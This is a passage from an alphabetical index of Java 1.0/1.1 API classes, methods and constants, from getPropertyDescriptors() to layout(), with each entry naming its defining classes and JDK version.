java.beans.PropertyVetoException (JDK 1.1)

getPropertyDescriptors()

java.beans.BeanInfo (JDK 1.1), java.beans.SimpleBeanInfo (JDK 1.1)

getPropertyEditorClass()

java.beans.PropertyDescriptor (JDK 1.1)

getPropertyName()

java.beans.PropertyChangeEvent (JDK 1.1)

getPropertyType()

java.beans.PropertyDescriptor (JDK 1.1)

getProtocol()

java.net.URL (JDK 1.0)

getRawOffset()

java.util.SimpleTimeZone (JDK 1.1), java.util.TimeZone (JDK 1.1)

getReadMethod()

java.beans.PropertyDescriptor (JDK 1.1)

getRed()

java.awt.Color (JDK 1.0), java.awt.image.ColorModel (JDK 1.0), java.awt.image.DirectColorModel (JDK 1.0), java.awt.image.IndexColorModel (JDK 1.0)

getRedMask()

java.awt.image.DirectColorModel (JDK 1.0)

getReds()

java.awt.image.IndexColorModel (JDK 1.0)

getRef()

java.net.URL (JDK 1.0)

getRemaining()

java.util.zip.Inflater (JDK 1.1)

getRemoveListenerMethod()

java.beans.EventSetDescriptor (JDK 1.1)

getRepresentationClass()

java.awt.datatransfer.DataFlavor (JDK 1.1)

getRequestMethod()

java.net.HttpURLConnection (JDK 1.1)

getRequestProperty()

java.net.URLConnection (JDK 1.0)

getResource()

java.lang.Class (JDK 1.0), java.lang.ClassLoader (JDK 1.0)

getResourceAsStream()

java.lang.Class (JDK 1.0), java.lang.ClassLoader (JDK 1.0)

getResponseCode()

java.net.HttpURLConnection (JDK 1.1)

getResponseMessage()

java.net.HttpURLConnection (JDK 1.1)

getReturnType()

java.lang.reflect.Method (JDK 1.1)

getRGB()

java.awt.Color (JDK 1.0), java.awt.image.ColorModel (JDK 1.0), java.awt.image.DirectColorModel (JDK 1.0), java.awt.image.IndexColorModel (JDK 1.0), java.awt.SystemColor (JDK 1.1)

getRGBdefault()

java.awt.image.ColorModel (JDK 1.0)

getRows()

java.awt.GridLayout (JDK 1.0), java.awt.List (JDK 1.0), java.awt.TextArea (JDK 1.0)

getRules()

java.text.RuleBasedCollator (JDK 1.1)

getRuntime()

java.lang.Runtime (JDK 1.0)

getScaledInstance()

java.awt.Image (JDK 1.0)

getScreenResolution()

java.awt.Toolkit (JDK 1.0)

getScreenSize()

java.awt.Toolkit (JDK 1.0)

getScrollbarDisplayPolicy()

java.awt.ScrollPane (JDK 1.1)

getScrollbarVisibility()

java.awt.TextArea (JDK 1.0)

getScrollPosition()

java.awt.ScrollPane (JDK 1.1)

getSeconds()

java.util.Date (JDK 1.0)

getSecurityContext()

java.lang.SecurityManager (JDK 1.0)

getSecurityManager()

java.lang.System (JDK 1.0)

getSelectedCheckbox()

java.awt.CheckboxGroup (JDK 1.0)

getSelectedIndex()

java.awt.Choice (JDK 1.0), java.awt.List (JDK 1.0)

getSelectedIndexes()

java.awt.List (JDK 1.0), java.awt.peer.ListPeer (JDK 1.0)

getSelectedItem()

java.awt.Choice (JDK 1.0), java.awt.List (JDK 1.0)

getSelectedItems()

java.awt.List (JDK 1.0)

getSelectedObjects()

java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0), java.awt.Choice (JDK 1.0), java.awt.ItemSelectable (JDK 1.1), java.awt.List (JDK 1.0)

getSelectedText()

java.awt.TextComponent (JDK 1.0)

getSelectionEnd()

java.awt.TextComponent (JDK 1.0), java.awt.peer.TextComponentPeer (JDK 1.0)

getSelectionStart()

java.awt.TextComponent (JDK 1.0), java.awt.peer.TextComponentPeer (JDK 1.0)

getSentenceInstance()

java.text.BreakIterator (JDK 1.1)

getSerialVersionUID()

java.io.ObjectStreamClass (JDK 1.1)

getShort()

java.lang.reflect.Array (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getShortcut()

java.awt.MenuItem (JDK 1.0)

getShortcutMenuItem()

java.awt.MenuBar (JDK 1.0)

getShortDescription()

java.beans.FeatureDescriptor (JDK 1.1)

getShortMonths()

java.text.DateFormatSymbols (JDK 1.1)

getShortWeekdays()

java.text.DateFormatSymbols (JDK 1.1)

getSigners()

java.lang.Class (JDK 1.0)

getSize()

java.awt.Component (JDK 1.0), java.awt.Dimension (JDK 1.0), java.awt.Font (JDK 1.0), java.awt.Rectangle (JDK 1.0), java.util.zip.ZipEntry (JDK 1.1)

getSoLinger()

java.net.Socket (JDK 1.0)

getSoTimeout()

java.net.DatagramSocket (JDK 1.0), java.net.ServerSocket (JDK 1.0), java.net.Socket (JDK 1.0)

getSource()

java.util.EventObject (JDK 1.1), java.awt.Image (JDK 1.0)

getSourceString()

java.text.CollationKey (JDK 1.1)

getState()

java.awt.Checkbox (JDK 1.0), java.awt.CheckboxMenuItem (JDK 1.0)

getStateChange()

java.awt.event.ItemEvent (JDK 1.1)

getStatus()

java.awt.image.PixelGrabber (JDK 1.0)

getStrength()

java.text.Collator (JDK 1.1)

getString()

java.util.ResourceBundle (JDK 1.1)

getStringArray()

java.util.ResourceBundle (JDK 1.1)

getStyle()

java.awt.Font (JDK 1.0)

getSuperclass()

java.lang.Class (JDK 1.0)

getSystemClipboard()

java.awt.Toolkit (JDK 1.0)

getSystemEventQueue()

java.awt.Toolkit (JDK 1.0)

getSystemEventQueueImpl()

java.awt.Toolkit (JDK 1.0)

getSystemResource()

java.lang.ClassLoader (JDK 1.0)

getSystemResourceAsStream()

java.lang.ClassLoader (JDK 1.0)

getTags()

java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

getTargetException()

java.lang.reflect.InvocationTargetException (JDK 1.1)

getTcpNoDelay()

java.net.Socket (JDK 1.0)

getText()

java.text.BreakIterator (JDK 1.1), java.awt.Label (JDK 1.0), java.awt.TextComponent (JDK 1.0), java.awt.peer.TextComponentPeer (JDK 1.0)

getThreadGroup()

java.lang.SecurityManager (JDK 1.0), java.lang.Thread (JDK 1.0)

getTime()

java.util.Calendar (JDK 1.1), java.util.Date (JDK 1.0), java.util.zip.ZipEntry (JDK 1.1)

getTimeInMillis()

java.util.Calendar (JDK 1.1)

getTimeInstance()

java.text.DateFormat (JDK 1.1)

getTimeZone()

java.util.Calendar (JDK 1.1), java.text.DateFormat (JDK 1.1), java.util.TimeZone (JDK 1.1)

getTimezoneOffset()

java.util.Date (JDK 1.0)

getTitle()

java.awt.Dialog (JDK 1.0), java.awt.Frame (JDK 1.0)

getToolkit()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0), java.awt.Window (JDK 1.0)

getTotalIn()

java.util.zip.Deflater (JDK 1.1), java.util.zip.Inflater (JDK 1.1)

getTotalOut()

java.util.zip.Deflater (JDK 1.1), java.util.zip.Inflater (JDK 1.1)

getTransferData()

java.awt.datatransfer.StringSelection (JDK 1.1), java.awt.datatransfer.Transferable (JDK 1.1)

getTransferDataFlavors()

java.awt.datatransfer.StringSelection (JDK 1.1), java.awt.datatransfer.Transferable (JDK 1.1)

getTransparentPixel()

java.awt.image.IndexColorModel (JDK 1.0)

getTreeLock()

java.awt.Component (JDK 1.0)

getTTL()

java.net.DatagramSocketImpl (JDK 1.1), java.net.MulticastSocket (JDK 1.1)

getType()

java.lang.Character (JDK 1.0), java.awt.Cursor (JDK 1.1), java.lang.reflect.Field (JDK 1.1)

getUnitIncrement()

java.awt.Adjustable (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getUpdateRect()

java.awt.event.PaintEvent (JDK 1.1)

getURL()

java.net.URLConnection (JDK 1.0)

getUseCaches()

java.net.URLConnection (JDK 1.0)

getVAdjustable()

java.awt.ScrollPane (JDK 1.1)

getValue()

java.awt.Adjustable (JDK 1.1), java.awt.event.AdjustmentEvent (JDK 1.1), java.util.zip.Adler32 (JDK 1.1), java.util.zip.Checksum (JDK 1.1), java.util.zip.CRC32 (JDK 1.1), java.beans.FeatureDescriptor (JDK 1.1), java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getVariant()

java.util.Locale (JDK 1.1)

getVgap()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.FlowLayout (JDK 1.0), java.awt.GridLayout (JDK 1.0)

getViewportSize()

java.awt.ScrollPane (JDK 1.1)

getVisible()

java.awt.Scrollbar (JDK 1.0)

getVisibleAmount()

java.awt.Adjustable (JDK 1.1), java.awt.Scrollbar (JDK 1.0)

getVisibleIndex()

java.awt.List (JDK 1.0)

getVScrollbarWidth()

java.awt.ScrollPane (JDK 1.1), java.awt.peer.ScrollPanePeer (JDK 1.1)

getWarningString()

java.awt.Window (JDK 1.0)

getWeekdays()

java.text.DateFormatSymbols (JDK 1.1)

getWhen()

java.awt.event.InputEvent (JDK 1.1)

getWidth()

java.awt.Image (JDK 1.0), java.awt.image.PixelGrabber (JDK 1.0)

getWidths()

java.awt.FontMetrics (JDK 1.0)

getWindow()

java.awt.event.WindowEvent (JDK 1.1)

getWordInstance()

java.text.BreakIterator (JDK 1.1)

getWriteMethod()

java.beans.PropertyDescriptor (JDK 1.1)

getX()

java.awt.event.MouseEvent (JDK 1.1)

getY()

java.awt.event.MouseEvent (JDK 1.1)

getYear()

java.util.Date (JDK 1.0)

getZeroDigit()

java.text.DecimalFormatSymbols (JDK 1.1)

getZoneStrings()

java.text.DateFormatSymbols (JDK 1.1)

GOT_FOCUS

java.awt.Event (JDK 1.0)

gotFocus()

java.awt.Component (JDK 1.0)

grabPixels()

java.awt.image.PixelGrabber (JDK 1.0)

Graphics

The java.awt Package

gray

java.awt.Color (JDK 1.0)

green

java.awt.Color (JDK 1.0)

GregorianCalendar

The java.util Package

GridBagConstraints

The java.awt Package

GridBagLayout

The java.awt Package

gridheight

java.awt.GridBagConstraints (JDK 1.0)

GridLayout

The java.awt Package

gridwidth

java.awt.GridBagConstraints (JDK 1.0)

gridx

java.awt.GridBagConstraints (JDK 1.0)

gridy

java.awt.GridBagConstraints (JDK 1.0)

grow()

java.awt.Rectangle (JDK 1.0)

guessContentTypeFromName()

java.net.URLConnection (JDK 1.0)

guessContentTypeFromStream()

java.net.URLConnection (JDK 1.0)

GZIP_MAGIC

java.util.zip.GZIPInputStream (JDK 1.1)

GZIPInputStream

The java.util.zip Package

GZIPOutputStream

The java.util.zip Package

H

HAND_CURSOR

java.awt.Cursor (JDK 1.1), java.awt.Frame (JDK 1.0)

handleEvent()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0)

handleGetObject()

java.util.ListResourceBundle (JDK 1.1), java.util.PropertyResourceBundle (JDK 1.1), java.util.ResourceBundle (JDK 1.1)

hasChanged()

java.util.Observable (JDK 1.0)

hashCode()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.util.BitSet (JDK 1.0), java.lang.Boolean (JDK 1.0), java.lang.Byte (JDK 1.1), java.lang.Character (JDK 1.0), java.text.ChoiceFormat (JDK 1.1), java.text.CollationKey (JDK 1.1), java.text.Collator (JDK 1.1), java.awt.Color (JDK 1.0), java.lang.reflect.Constructor (JDK 1.1), java.util.Date (JDK 1.0), java.text.DateFormat (JDK 1.1), java.text.DateFormatSymbols (JDK 1.1), java.text.DecimalFormat (JDK 1.1), java.text.DecimalFormatSymbols (JDK 1.1), java.lang.Double (JDK 1.0), java.lang.reflect.Field (JDK 1.1), java.io.File (JDK 1.0), java.lang.Float (JDK 1.0), java.awt.Font (JDK 1.0), java.util.GregorianCalendar (JDK 1.1), java.net.InetAddress (JDK 1.0), java.lang.Integer (JDK 1.0), java.util.Locale (JDK 1.1), java.lang.Long (JDK 1.0), java.text.MessageFormat (JDK 1.1), java.lang.reflect.Method (JDK 1.1), java.text.NumberFormat (JDK 1.1), java.lang.Object (JDK 1.0), java.awt.Point (JDK 1.0), java.awt.Rectangle (JDK 1.0), java.text.RuleBasedCollator (JDK 1.1), java.lang.Short (JDK 1.1), java.text.SimpleDateFormat (JDK 1.1), java.util.SimpleTimeZone (JDK 1.1), java.lang.String (JDK 1.0), java.text.StringCharacterIterator (JDK 1.1), java.net.URL (JDK 1.0)

Hashtable

The java.util Package

hasMoreElements()

java.util.Enumeration (JDK 1.0), java.util.StringTokenizer (JDK 1.0)

hasMoreTokens()

java.util.StringTokenizer (JDK 1.0)

HEIGHT

java.awt.image.ImageObserver (JDK 1.0)

height

java.awt.Dimension (JDK 1.0), java.awt.Rectangle (JDK 1.0)

hide()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0)

HOME

java.awt.Event (JDK 1.0)

HORIZONTAL

java.awt.Adjustable (JDK 1.1), java.awt.GridBagConstraints (JDK 1.0), java.awt.Scrollbar (JDK 1.0)

HOUR

java.util.Calendar (JDK 1.1)

HOUR0_FIELD

java.text.DateFormat (JDK 1.1)

HOUR1_FIELD

java.text.DateFormat (JDK 1.1)

HOUR_OF_DAY

java.util.Calendar (JDK 1.1)

HOUR_OF_DAY0_FIELD

java.text.DateFormat (JDK 1.1)

HOUR_OF_DAY1_FIELD

java.text.DateFormat (JDK 1.1)

HSBtoRGB()

java.awt.Color (JDK 1.0)

HTTP_ACCEPTED

java.net.HttpURLConnection (JDK 1.1)

HTTP_BAD_GATEWAY

java.net.HttpURLConnection (JDK 1.1)

HTTP_BAD_METHOD

java.net.HttpURLConnection (JDK 1.1)

HTTP_BAD_REQUEST

java.net.HttpURLConnection (JDK 1.1)

HTTP_CLIENT_TIMEOUT

java.net.HttpURLConnection (JDK 1.1)

HTTP_CONFLICT

java.net.HttpURLConnection (JDK 1.1)

HTTP_CREATED

java.net.HttpURLConnection (JDK 1.1)

HTTP_ENTITY_TOO_LARGE

java.net.HttpURLConnection (JDK 1.1)

HTTP_FORBIDDEN

java.net.HttpURLConnection (JDK 1.1)

HTTP_GATEWAY_TIMEOUT

java.net.HttpURLConnection (JDK 1.1)

HTTP_GONE

java.net.HttpURLConnection (JDK 1.1)

HTTP_INTERNAL_ERROR

java.net.HttpURLConnection (JDK 1.1)

HTTP_LENGTH_REQUIRED

java.net.HttpURLConnection (JDK 1.1)

HTTP_MOVED_PERM

java.net.HttpURLConnection (JDK 1.1)

HTTP_MOVED_TEMP

java.net.HttpURLConnection (JDK 1.1)

HTTP_MULT_CHOICE

java.net.HttpURLConnection (JDK 1.1)

HTTP_NO_CONTENT

java.net.HttpURLConnection (JDK 1.1)

HTTP_NOT_ACCEPTABLE

java.net.HttpURLConnection (JDK 1.1)

HTTP_NOT_AUTHORITATIVE

java.net.HttpURLConnection (JDK 1.1)

HTTP_NOT_FOUND

java.net.HttpURLConnection (JDK 1.1)

HTTP_NOT_MODIFIED

java.net.HttpURLConnection (JDK 1.1)

HTTP_OK

java.net.HttpURLConnection (JDK 1.1)

HTTP_PARTIAL

java.net.HttpURLConnection (JDK 1.1)

HTTP_PAYMENT_REQUIRED

java.net.HttpURLConnection (JDK 1.1)

HTTP_PRECON_FAILED

java.net.HttpURLConnection (JDK 1.1)

HTTP_PROXY_AUTH

java.net.HttpURLConnection (JDK 1.1)

HTTP_REQ_TOO_LONG

java.net.HttpURLConnection (JDK 1.1)

HTTP_RESET

java.net.HttpURLConnection (JDK 1.1)

HTTP_SEE_OTHER

java.net.HttpURLConnection (JDK 1.1)

HTTP_SERVER_ERROR

java.net.HttpURLConnection (JDK 1.1)

HTTP_UNAUTHORIZED

java.net.HttpURLConnection (JDK 1.1)

HTTP_UNAVAILABLE

java.net.HttpURLConnection (JDK 1.1)

HTTP_UNSUPPORTED_TYPE

java.net.HttpURLConnection (JDK 1.1)

HTTP_USE_PROXY

java.net.HttpURLConnection (JDK 1.1)

HTTP_VERSION

java.net.HttpURLConnection (JDK 1.1)

HttpURLConnection

The java.net Package

HUFFMAN_ONLY

java.util.zip.Deflater (JDK 1.1)

I

ICON_COLOR_16x16

java.beans.BeanInfo (JDK 1.1)

ICON_COLOR_32x32

java.beans.BeanInfo (JDK 1.1)

ICON_MONO_16x16

java.beans.BeanInfo (JDK 1.1)

ICON_MONO_32x32

java.beans.BeanInfo (JDK 1.1)

id

java.awt.AWTEvent (JDK 1.1), java.awt.Event (JDK 1.0)

IDENTICAL

java.text.Collator (JDK 1.1)

identityHashCode()

java.lang.System (JDK 1.0)

IEEEremainder()

java.lang.Math (JDK 1.0)

ifModifiedSince

java.net.URLConnection (JDK 1.0)

IllegalAccessError

The java.lang Package

IllegalAccessException

The java.lang Package

IllegalArgumentException

The java.lang Package

IllegalComponentStateException

The java.awt Package

IllegalMonitorStateException

The java.lang Package

IllegalStateException

The java.lang Package

IllegalThreadStateException

The java.lang Package

Image

The java.awt Package

IMAGEABORTED

java.awt.image.ImageConsumer (JDK 1.0)

imageComplete()

java.awt.image.ImageConsumer (JDK 1.0), java.awt.image.ImageFilter (JDK 1.0), java.awt.image.PixelGrabber (JDK 1.0)

ImageConsumer

The java.awt.image Package

IMAGEERROR

java.awt.image.ImageConsumer (JDK 1.0)

ImageFilter

The java.awt.image Package

ImageObserver

The java.awt.image Package

ImageProducer

The java.awt.image Package

imageUpdate()

java.awt.Component (JDK 1.0), java.awt.image.ImageObserver (JDK 1.0)

implAccept()

java.net.ServerSocket (JDK 1.0)

in

java.io.FileDescriptor (JDK 1.0), java.io.FilterInputStream (JDK 1.0), java.io.FilterReader (JDK 1.1), java.io.PipedInputStream (JDK 1.0), java.lang.System (JDK 1.0)

INACTIVE_CAPTION

java.awt.SystemColor (JDK 1.1)

INACTIVE_CAPTION_BORDER

java.awt.SystemColor (JDK 1.1)

INACTIVE_CAPTION_TEXT

java.awt.SystemColor (JDK 1.1)

inactiveCaption

java.awt.SystemColor (JDK 1.1)

inactiveCaptionBorder

java.awt.SystemColor (JDK 1.1)

inactiveCaptionText

java.awt.SystemColor (JDK 1.1)

inCheck

java.lang.SecurityManager (JDK 1.0)

inClass()

java.lang.SecurityManager (JDK 1.0)

inClassLoader()

java.lang.SecurityManager (JDK 1.0)

IncompatibleClassChangeError

The java.lang Package

inDaylightTime()

java.util.SimpleTimeZone (JDK 1.1), java.util.TimeZone (JDK 1.1)

IndexColorModel

The java.awt.image Package

IndexedPropertyDescriptor

The java.beans Package

indexOf()

java.lang.String (JDK 1.0), java.util.Vector (JDK 1.0)

IndexOutOfBoundsException

The java.lang Package

InetAddress

The java.net Package

inf

java.util.zip.InflaterInputStream (JDK 1.1)

inflate()

java.util.zip.Inflater (JDK 1.1)

Inflater

The java.util.zip Package

InflaterInputStream

The java.util.zip Package

info

java.awt.SystemColor (JDK 1.1)

INFO

java.awt.SystemColor (JDK 1.1)

INFO_TEXT

java.awt.SystemColor (JDK 1.1)

infoText

java.awt.SystemColor (JDK 1.1)

init()

java.applet.Applet (JDK 1.0)

InputEvent

The java.awt.event Package

InputStream

The java.io Package

InputStreamReader

The java.io Package

INSERT

java.awt.Event (JDK 1.0)

insert()

java.awt.Choice (JDK 1.0), java.awt.Menu (JDK 1.0), java.lang.StringBuffer (JDK 1.0), java.awt.TextArea (JDK 1.0), java.awt.peer.TextAreaPeer (JDK 1.0)

insertElementAt()

java.util.Vector (JDK 1.0)

insertSeparator()

java.awt.Menu (JDK 1.0)

insertText()

java.awt.TextArea (JDK 1.0), java.awt.peer.TextAreaPeer (JDK 1.0)

Insets

The java.awt Package

insets

java.awt.GridBagConstraints (JDK 1.0)

insets()

java.awt.Container (JDK 1.0), java.awt.peer.ContainerPeer (JDK 1.0)

inside()

java.awt.Component (JDK 1.0), java.awt.Polygon (JDK 1.0), java.awt.Rectangle (JDK 1.0)

instantiate()

java.beans.Beans (JDK 1.1)

InstantiationError

The java.lang Package

InstantiationException

The java.lang Package

intBitsToFloat()

java.lang.Float (JDK 1.0)

Integer

The java.lang Package

INTEGER_FIELD

java.text.NumberFormat (JDK 1.1)

INTERFACE

java.lang.reflect.Modifier (JDK 1.1)

intern()

java.lang.String (JDK 1.0)

InternalError

The java.lang Package

internalGet()

java.util.Calendar (JDK 1.1)

interrupt()

java.lang.Thread (JDK 1.0)

interrupted()

java.lang.Thread (JDK 1.0)

InterruptedException

The java.lang Package

InterruptedIOException

The java.io Package

intersection()

java.awt.Rectangle (JDK 1.0)

intersects()

java.awt.Rectangle (JDK 1.0)

IntrospectionException

The java.beans Package

Introspector

The java.beans Package

intValue()

java.math.BigDecimal (JDK 1.1), java.math.BigInteger (JDK 1.1), java.lang.Byte (JDK 1.1), java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0), java.lang.Integer (JDK 1.0), java.lang.Long (JDK 1.0), java.lang.Number (JDK 1.0), java.lang.Short (JDK 1.1)

invalidate()

java.awt.Component (JDK 1.0), java.awt.Container (JDK 1.0)

invalidateLayout()

java.awt.BorderLayout (JDK 1.0), java.awt.CardLayout (JDK 1.0), java.awt.GridBagLayout (JDK 1.0), java.awt.LayoutManager2 (JDK 1.1)

InvalidClassException

The java.io Package

InvalidObjectException

The java.io Package

InvocationTargetException

The java.lang.reflect Package

invoke()

java.lang.reflect.Method (JDK 1.1)

IOException

The java.io Package

ipadx

java.awt.GridBagConstraints (JDK 1.0)

ipady

java.awt.GridBagConstraints (JDK 1.0)

isAbsolute()

java.io.File (JDK 1.0)

isAbstract()

java.lang.reflect.Modifier (JDK 1.1)

isActionKey()

java.awt.event.KeyEvent (JDK 1.1)

isActive()

java.applet.Applet (JDK 1.0), java.applet.AppletStub (JDK 1.0)

isAlive()

java.lang.Thread (JDK 1.0)

isAltDown()

java.awt.event.InputEvent (JDK 1.1)

isAncestorOf()

java.awt.Container (JDK 1.0)

isArray()

java.lang.Class (JDK 1.0)

isAssignableFrom()

java.lang.Class (JDK 1.0)

isBold()

java.awt.Font (JDK 1.0)

isBound()

java.beans.PropertyDescriptor (JDK 1.1)

isConstrained()

java.beans.PropertyDescriptor (JDK 1.1)

isConsumed()

java.awt.AWTEvent (JDK 1.1), java.awt.event.InputEvent (JDK 1.1)

isConsumer()

java.awt.image.FilteredImageSource (JDK 1.0), java.awt.image.ImageProducer (JDK 1.0), java.awt.image.MemoryImageSource (JDK 1.0)

isControlDown()

java.awt.event.InputEvent (JDK 1.1)

isDaemon()

java.lang.Thread (JDK 1.0), java.lang.ThreadGroup (JDK 1.0)

isDataFlavorSupported()

java.awt.datatransfer.StringSelection (JDK 1.1), java.awt.datatransfer.Transferable (JDK 1.1)

isDecimalSeparatorAlwaysShown()

java.text.DecimalFormat (JDK 1.1)

isDefined()

java.lang.Character (JDK 1.0)

isDesignTime()

java.beans.Beans (JDK 1.1)

isDestroyed()

java.lang.ThreadGroup (JDK 1.0)

isDigit()

java.lang.Character (JDK 1.0)

isDirectory()

java.io.File (JDK 1.0), java.util.zip.ZipEntry (JDK 1.1)

isEditable()

java.awt.TextComponent (JDK 1.0)

isEmpty()

java.util.Dictionary (JDK 1.0), java.util.Hashtable (JDK 1.0), java.awt.Rectangle (JDK 1.0), java.util.Vector (JDK 1.0)

isEnabled()

java.awt.Component (JDK 1.0), java.awt.MenuItem (JDK 1.0)

isErrorAny()

java.awt.MediaTracker (JDK 1.0)

isErrorID()

java.awt.MediaTracker (JDK 1.0)

isExpert()

java.beans.FeatureDescriptor (JDK 1.1)

isFile()

java.io.File (JDK 1.0)

isFinal()

java.lang.reflect.Modifier (JDK 1.1)

isFocusTraversable()

java.awt.Component (JDK 1.0), java.awt.peer.ComponentPeer (JDK 1.0)

isGroupingUsed()

java.text.NumberFormat (JDK 1.1)

isGuiAvailable()

java.beans.Beans (JDK 1.1)

isHidden()

java.beans.FeatureDescriptor (JDK 1.1)

isIdentifierIgnorable()

java.lang.Character (JDK 1.0)

isInDefaultEventSet()

java.beans.EventSetDescriptor (JDK 1.1)

isIndexSelected()

java.awt.List (JDK 1.0)

isInfinite()

java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0)

isInstance()

java.lang.Class (JDK 1.0)

isInstanceOf()

java.beans.Beans (JDK 1.1)

isInterface()

java.lang.Class (JDK 1.0), java.lang.reflect.Modifier (JDK 1.1)

isInterrupted()

java.lang.Thread (JDK 1.0)

isISOControl()

java.lang.Character (JDK 1.0)

isItalic()

java.awt.Font (JDK 1.0)

isJavaIdentifierPart()

java.lang.Character (JDK 1.0)

isJavaIdentifierStart()

java.lang.Character (JDK 1.0)

isJavaLetter()

java.lang.Character (JDK 1.0)

isJavaLetterOrDigit()

java.lang.Character (JDK 1.0)

isLeapYear()

java.util.GregorianCalendar (JDK 1.1)

isLenient()

java.util.Calendar (JDK 1.1), java.text.DateFormat (JDK 1.1)

isLetter()

java.lang.Character (JDK 1.0)

isLetterOrDigit()

java.lang.Character (JDK 1.0)

isLowerCase()

java.lang.Character (JDK 1.0)

isMetaDown()

java.awt.event.InputEvent (JDK 1.1)

isMimeTypeEqual()

java.awt.datatransfer.DataFlavor (JDK 1.1)

isModal()

java.awt.Dialog (JDK 1.0)

isMulticastAddress()

java.net.InetAddress (JDK 1.0)

isMultipleMode()

java.awt.List (JDK 1.0)

isNaN()

java.lang.Double (JDK 1.0), java.lang.Float (JDK 1.0)

isNative()

java.lang.reflect.Modifier (JDK 1.1)

isPaintable()

java.beans.PropertyEditor (JDK 1.1), java.beans.PropertyEditorSupport (JDK 1.1)

isParseIntegerOnly()

java.text.NumberFormat (JDK 1.1)

isPlain()

java.awt.Font (JDK 1.0)

isPopupTrigger()

java.awt.event.MouseEvent (JDK 1.1)

isPrimitive()

java.lang.Class (JDK 1.0)

isPrivate()

java.lang.reflect.Modifier (JDK 1.1)

isProbablePrime()

java.math.BigInteger (JDK 1.1)

isProtected()

java.lang.reflect.Modifier (JDK 1.1)

isPublic()

java.lang.reflect.Modifier (JDK 1.1)

isResizable()

java.awt.Dialog (JDK 1.0), java.awt.Frame (JDK 1.0)

isSelected()

java.awt.List (JDK 1.0)

isSet

java.util.Calendar (JDK 1.1)

isSet()

java.util.Calendar (JDK 1.1)

isShiftDown()

java.awt.event.InputEvent (JDK 1.1)

isShowing()

java.awt.Component (JDK 1.0), java.awt.Window (JDK 1.0)

isSpace()

java.lang.Character (JDK 1.0)

isSpaceChar()

java.lang.Character (JDK 1.0)

isStatic()

java.lang.reflect.Modifier (JDK 1.1)

isSynchronized()

java.lang.reflect.Modifier (JDK 1.1)

isTearOff()

java.awt.Menu (JDK 1.0)

isTemporary()

java.awt.event.FocusEvent (JDK 1.1)

isTimeSet

java.util.Calendar (JDK 1.1)

isTitleCase()

java.lang.Character (JDK 1.0)

isTransient()

java.lang.reflect.Modifier (JDK 1.1)

isUnicast()

java.beans.EventSetDescriptor (JDK 1.1)

isUnicodeIdentifierPart()

java.lang.Character (JDK 1.0)

isUnicodeIdentifierStart()

java.lang.Character (JDK 1.0)

isUpperCase()

java.lang.Character (JDK 1.0)

isValid()

java.awt.Component (JDK 1.0)

isVisible()

java.awt.Component (JDK 1.0)

isVolatile()

java.lang.reflect.Modifier (JDK 1.1)

isWhitespace()

java.lang.Character (JDK 1.0)

ITALIAN

java.util.Locale (JDK 1.1)

ITALIC

java.awt.Font (JDK 1.0)

ITALY

java.util.Locale (JDK 1.1)

ITEM_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

ITEM_FIRST

java.awt.event.ItemEvent (JDK 1.1)

ITEM_LAST

java.awt.event.ItemEvent (JDK 1.1)

ITEM_STATE_CHANGED

java.awt.event.ItemEvent (JDK 1.1)

ItemEvent

The java.awt.event Package

ItemListener

The java.awt.event Package

ItemSelectable

The java.awt Package

itemStateChanged()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.ItemListener (JDK 1.1)

J

JANUARY

java.util.Calendar (JDK 1.1)

JAPAN

java.util.Locale (JDK 1.1)

JAPANESE

java.util.Locale (JDK 1.1)

join()

java.net.DatagramSocketImpl (JDK 1.1), java.lang.Thread (JDK 1.0)

joinGroup()

java.net.MulticastSocket (JDK 1.1)

JULY

java.util.Calendar (JDK 1.1)

JUNE

java.util.Calendar (JDK 1.1)

K

key

java.awt.Event (JDK 1.0)

KEY_ACTION

java.awt.Event (JDK 1.0)

KEY_ACTION_RELEASE

java.awt.Event (JDK 1.0)

KEY_EVENT_MASK

java.awt.AWTEvent (JDK 1.1)

KEY_FIRST

java.awt.event.KeyEvent (JDK 1.1)

KEY_LAST

java.awt.event.KeyEvent (JDK 1.1)

KEY_PRESS

java.awt.Event (JDK 1.0)

KEY_PRESSED

java.awt.event.KeyEvent (JDK 1.1)

KEY_RELEASE

java.awt.Event (JDK 1.0)

KEY_RELEASED

java.awt.event.KeyEvent (JDK 1.1)

KEY_TYPED

java.awt.event.KeyEvent (JDK 1.1)

KeyAdapter

The java.awt.event Package

keyDown()

java.awt.Component (JDK 1.0)

KeyEvent

The java.awt.event Package

KeyListener

The java.awt.event Package

keyPressed()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.KeyAdapter (JDK 1.1), java.awt.event.KeyListener (JDK 1.1)

keyReleased()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.KeyAdapter (JDK 1.1), java.awt.event.KeyListener (JDK 1.1)

keys()

java.util.Dictionary (JDK 1.0), java.util.Hashtable (JDK 1.0)

keyTyped()

java.awt.AWTEventMulticaster (JDK 1.1), java.awt.event.KeyAdapter (JDK 1.1), java.awt.event.KeyListener (JDK 1.1)

keyUp()

java.awt.Component (JDK 1.0)

KOREA

java.util.Locale (JDK 1.1)

KOREAN

java.util.Locale (JDK 1.1)

L

Label

The java.awt Package

LabelPeer

The java.awt.peer Package

last()

java.text.BreakIterator (JDK 1.1), java.awt.CardLayout (JDK 1.0), java.text.CharacterIterator (JDK 1.1), java.text.StringCharacterIterator (JDK 1.1)

lastElement()

java.util.Vector (JDK 1.0)

lastIndexOf()

java.lang.String (JDK 1.0), java.util.Vector (JDK 1.0)

lastModified()

java.io.File (JDK 1.0)

lastPageFirst()

java.awt.PrintJob (JDK 1.1)

layout()

